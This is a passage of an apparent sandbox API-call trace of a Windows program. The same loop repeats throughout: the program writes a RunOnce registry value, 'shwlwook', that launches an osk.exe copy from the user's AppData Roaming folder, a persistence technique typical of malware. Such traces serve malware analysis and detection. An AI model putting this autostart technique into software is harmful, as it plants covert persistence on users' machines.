(_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.105] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.106] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.106] RegCloseKey (hKey=0x14c) returned 0x0 [0270.106] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.106] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.133] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.133] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.134] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.134] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.134] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.135] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.135] RegCloseKey (hKey=0x14c) returned 0x0 [0270.135] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.135] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.149] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.149] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.149] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.150] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.150] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.150] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.150] RegCloseKey (hKey=0x14c) returned 0x0 [0270.151] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.151] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.170] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.170] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.171] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.171] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.171] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.171] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.172] RegCloseKey (hKey=0x14c) returned 0x0 [0270.172] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.172] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.183] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.183] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.183] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.184] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.184] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.184] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.184] RegCloseKey (hKey=0x14c) returned 0x0 [0270.184] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.185] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.196] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.196] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.197] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.197] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.197] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.197] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.197] RegCloseKey (hKey=0x14c) returned 0x0 [0270.198] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.199] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.211] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.211] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.212] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.212] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.212] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.213] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.213] RegCloseKey (hKey=0x14c) returned 0x0 [0270.213] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.213] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.228] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.228] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.228] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.229] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.229] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.229] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.229] RegCloseKey (hKey=0x14c) returned 0x0 [0270.230] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.230] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.243] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.243] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.243] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.244] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.244] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.244] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.244] RegCloseKey (hKey=0x14c) returned 0x0 [0270.244] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.245] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.258] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.258] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.259] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.259] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.259] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.260] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.260] RegCloseKey (hKey=0x14c) returned 0x0 [0270.260] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.260] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.274] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.274] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.274] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.275] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.275] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.275] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.275] RegCloseKey (hKey=0x14c) returned 0x0 [0270.276] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.276] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.290] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.290] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.290] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.290] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.291] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.291] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.291] RegCloseKey (hKey=0x14c) returned 0x0 [0270.291] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.292] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.305] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.305] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.306] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.306] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.306] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.306] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.307] RegCloseKey (hKey=0x14c) returned 0x0 [0270.307] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.307] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.321] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.321] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.321] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.322] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.322] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.322] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.322] RegCloseKey (hKey=0x14c) returned 0x0 [0270.322] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.323] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.339] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.339] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.340] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.340] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.340] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.340] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.341] RegCloseKey (hKey=0x14c) returned 0x0 [0270.341] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.341] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.368] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.368] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.368] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.369] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.369] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.369] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.369] RegCloseKey (hKey=0x14c) returned 0x0 [0270.369] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.370] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.384] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.384] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.384] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.384] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.385] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.385] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.385] RegCloseKey (hKey=0x14c) returned 0x0 [0270.385] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.386] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.399] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.399] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.400] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.400] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.400] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.400] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.401] RegCloseKey (hKey=0x14c) returned 0x0 [0270.401] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.401] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.415] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.415] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.415] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.415] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.416] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.416] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.416] RegCloseKey (hKey=0x14c) returned 0x0 [0270.416] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.417] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.430] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.430] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.431] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.431] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.431] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.432] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.432] RegCloseKey (hKey=0x14c) returned 0x0 [0270.432] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.432] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.446] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.446] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.446] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.447] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.447] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.447] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.447] RegCloseKey (hKey=0x14c) returned 0x0 [0270.448] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.448] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.461] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.461] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.462] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.462] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.462] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.463] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.463] RegCloseKey (hKey=0x14c) returned 0x0 [0270.463] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.463] GetMessageW (in: 